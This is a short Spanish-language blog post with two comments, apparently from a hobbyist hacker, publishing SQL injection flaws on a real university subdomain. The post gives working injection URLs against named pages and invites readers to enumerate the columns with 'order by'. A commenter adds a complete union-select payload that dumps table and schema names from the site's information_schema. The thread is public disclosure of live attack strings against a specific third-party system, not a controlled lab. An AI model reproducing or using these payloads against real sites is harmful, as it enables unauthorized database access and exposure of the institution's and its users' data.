SQLI en Subdominio Universidad De Palermo
Hace un tiempo , me puse a boludear, estaba aburrido y no tenia nada que hacer
y encontre esto
http://fido.palermo.edu/servicios_dyc/docentesdc/claustro-docente/curriculum.php?id_docente=1520+and+1=0--
http://fido.palermo.edu/servicios_dyc/encuentro2008/05_publicaciones/01_actas_diseno/index_actas.php?numero=2+and+1=0+union+select+0--
Miren con order by.. ;D
saludos :P
2 comentarios:
Guahh...
Si estabas tna al pedo, tambien te deberias haber fijado que el select era solo de 7 :P
http://fido.palermo.edu/servicios_dyc/encuentro2008/05_publicaciones/01_actas_diseno/index_actas.php?numero=-1+union+select+1,table_name,table_schema,4,5,6,7%20from%20information_schema.tables
la verdad no habia mirado esa xD
mire la anterior , y es blind , x eso dije lo de mirenla con order by
pero de todos modos , ya esta publicada..
solo encuentro boludeces , no soy de explotarlas xD
saludos Vaati
Publicar un comentario